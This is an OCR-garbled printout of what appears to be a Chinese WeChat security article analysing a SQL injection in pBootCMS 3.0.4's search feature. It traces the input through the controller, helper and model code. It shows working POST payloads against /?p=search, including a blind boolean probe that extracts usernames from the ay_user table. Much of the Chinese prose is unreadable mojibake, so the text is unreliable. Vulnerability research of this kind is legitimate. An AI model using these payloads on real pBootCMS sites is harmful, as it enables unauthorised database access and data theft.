2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

pBootCMS 3.0.4 gi&EF N mEEN

) S R

L Mi/@\ﬁ/}?ﬁ;@,ﬁﬁ /?p=search ,PQST ﬁﬁ}% l=select 1 ,

1. apps/home/controller/ParserController.php E/\j parserSearchLabel IZI%{

(preg_match(

image—20211108160733164
BERIOBIREINELS sreceive WH1TIE[T, skey W\ request REAITANE

2. EEE request I&é&, S\(ﬁ— core/function/helper.php
https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 1/15



2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

request(

filter(

image—20211108160421252

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 2/15



pBootCMS 3.0.4 {iif & i N\ sl 2 I

2021/11/9 F4-10:55
ST
=

MREIENRKZER posraiger , 1S

el

$n

'd_source' => 'post', "d_type' => 'vars', 'd_require' => false,

$condition = array(
'd_default' => null DR

ame => $key,
T%j\%i/ﬁ\ filter($name, $Scondition)

3. EEE filter \Z@&, Xﬁ: core/function/helper.php

filter(

image—20211108161336349

18 sdata = es_posT[$varname]; , FTUt{TZATIRANIE

is_string(

= trim(
3/15

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw



2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

image—20211108161449842
Z IR TR, ENUCED

(array_key_exists(

(

(! preg_match(

(1 is_float(

image—20211108161543059

(! preg_match(

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 4/15



2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

image—20211108161556813
FINEBEIAFREREEERX. FE. HF. 5. K. 25, =K,

%Eﬁff return escape_ string($data); ﬂ\fﬁo

4. é%éﬁﬁﬁﬂ escape_string @é&o S\(ﬁ— core/function/handle.php

escape_string(

hars(trim(

image—20211108161917276

ﬂf?}iﬁ htmlspecialchars %D addslashes E?ﬁlo

5,iﬂﬂ%éﬁiﬁ——%@gjiiﬁgﬁ%ﬂi[]iu apps/home/controller/ParserController.php ﬁZﬁ#E@ parserSearchLabel é@é&, ﬂﬁ

A w
{45 swheres ZN4H.
https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 5/15



2021/11/9 F4-10:55 pBootCMS 3.04 §ij & N IR S B

(preg_ma

image—20211108162140400
0. é|7_ké EE%X% Swhere3 , )\ Ui;kﬁi%@% *ﬁz $data = $this->model->getList($scode, $num, S$Sorder, Swherel,

Swhere2, S$where3, $fuzzy, $start, $1lfield, $1lg);

->getLists(

image—20211108162403932

/. LDtEﬁ getList IE%Z, ﬁzf/—-‘: apps/home/model/ParserModel.php

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 6/15



2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

image—20211108162741457

\Z@QEP Sselect=Swhere3 |,

8. YKLLR I sselect L&

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 7715



2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

)->field(
->where(
->where(
->where(
->where(
->where(

->join(

->order(
->1imit(
>decode ()
->select()

image—20211108162943901

L#)\ where IZI éﬁ[ﬂ?fﬁ\fﬁ

9. é%éyzﬁﬁﬁﬂ where \Z@&

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 8/15



2021/11/9 F2F-10:55 pBootCMS 3.0.4 & N IRIHE 5

where(

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw 9/15



2021/11/9 F4-10:55 pBootCMS 3.0.4 #ij & N IR E B
IMage—2UZ111Ug 103233009

BINEBRIFH ZBERA a0 HITERSEENZE swhere B TIANTIEDEE, H swhere B— 1RSI EAEMN,

mj: $where_string.=$value , R ATEHl swheres NZRSIENA, ML sql EAN

payload EUE IR ER

o FHT post IERIEREUE 1=1 I, 7£ swheres TE MR

eg_matchl(

image—20211108164300567

Swhere3=[1]

A Y PN N

o RAEIRIR sql BTG, BT —LEEEEIAAZA T sl 120) SELECT COUNT(*) AS sum FROM ay content a LEFT JOIN
ay content sort b ON a.scode=b.scode LEFT JOIN ay content sort c ON a.subscode=c.scode LEFT JOIN ay model d
ON b.mcode=d.mcode LEFT JOIN ay member group f ON a.gid=f.id LEFT JOIN ay content ext e ON a.id=e.contentid

WHERE (a.scode in ('5','6','7"') OR a.subscode='5"') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08

16:49:33' AND a.acode='cn' ) AND(1l) , HT}EEHJ)\Eﬁ 1=1 %Tﬁ%ﬁ%? TCFEPE’] AND (1)

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw

10/15



2021/11/9 F4£10:55 pBootCMS 3.0.4 Fi & N IR IFHE B

um FROM ay_content
2 LEFT JOIN ay_content_sor
0. mcode=d.mcode LEFT JOIN

image—20211108165408166

e EWEIABIER

https://mp.weixin.qq.com/s/Ngl98cKeWE6l4cUhpFkZvw 11/15



2021/11/9 F4£10:55 pBootCMS 3.0.4 Fi & N IR IFHE B

@ HackBar Quantum ~ X PBOOTCMS -
Encryptionw Encoding ¥ ARREPHPR SRS
Otherv XSSw SQLw

Strings¥  Payloads¥
4 lowercase Run —+
. “}1 UPPERCASE *ﬁ%gﬂ
/4 ranDOmcASe ast
\uPI
¥ Bigger PI
4 PHI
A Lorum Ipsum Yy
4 Fibonacei
4 Buffer Overflow

Enable Post Data

1=1

["] Enable Referer

M-

pe k238 ped it it iR AR

PbootCMSE 2RI IR A RBFHIIPHPE: PbootCMS 2SN EK A FRGEIIPHPE
URUSTFAREEEIRG, B R, & VTR GETERS, B, &
SN U N

ASAWEB

i

TOLRSHOP

4 AN it otarty
[CN Your Best Life Now

ey msp

image—20211108165755096

o Y post HUEN 1=0 BEINZ sql 1B86), F 1=select o %] sql 1BG)/) SELECT COUNT(*) AS sum FROM
ay content a LEFT JOIN ay content sort b ON a.scode=b.scode LEFT JOIN ay content_ sort c ON
a.subscode=c.scode LEFT JOIN ay model d ON b.mcode=d.mcode LEFT JOIN ay member group f ON a.gid=f.id LEFT

JOIN ay content ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5"') AND(a.status=1
https://mp.weixin.qq.com/s/Ngl98cKeWE6l4cUhpFkZvw 12/15



2021/11/9 F4F10:55 PBootCMS 3.0.4 i & HE A1 B
AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0) [GJFF/NJ0 S AND(select 0) 1B

a), sql SENFITT,

image—20211108170258976

https://mp.weixin.qq.com/s/Ngl98cKeWE6l4cUhpFkZvw 13/15



2021/11/9 F2F-10:55 pBootCMS 3.0.4 Fi & N IR IFHE B

@ HackBar Quantum ~ X PBOOT(,MS

Encryptionw Encodingw
Otherv XSS+v SQLw
Strings¥ Payloads+

@lload | 2 split | » Run | ]:EE%‘?:S

http://pbootcms. test
/?p=search

Auto-Pwnw
Enable Post Data

IR EE!

1=select 0

[C) Enable Referer

image—20211108225320420

a7

o post 155@%@% l=select 1 from ay user where username regexp 0x61 ﬂL\Xi&'/ﬁ'%;Eo

14/15

https://mp.weixin.qq.com/s/NgI98cKeWE6I4cUhpFkZvw



2021/11/9 F4-10:55

@ HackBar Quantum ~ X

Encryption¥ Encoding+
Otherw XSSw SQLw
Strings¥  Payloads ¥
wiload | 2 split | » Run |

http://phootcms. test
/?p=search

Auto-Pwnw
Enable Post Data

pBootCMS 3.0.4 Hij & HENIRHE I

e

A

1=select 1 from ay_user

where username regexp 0x61

4

[ Enable Referer

https://mp.weixin.qq.com/s/Ngl98cKeWE6l4cUhpFkZvw

Pl E]

PbootCMS R4 iR ELK A FHRS ZATPHP L
VR RERRS, BB @

ASAWEB

AT 1 obabt
‘Your Best Life Now

o~ L

9 12 M e e AL

PSSR SR

A =

ik ERIS TEATAR

PbootCMSE LA EKAFTRBEFIIPHPE
WAL EEREE, 2 E0. &
N

I .

)
N R
FAuLER IR B AR

TOURSHOP

15/15



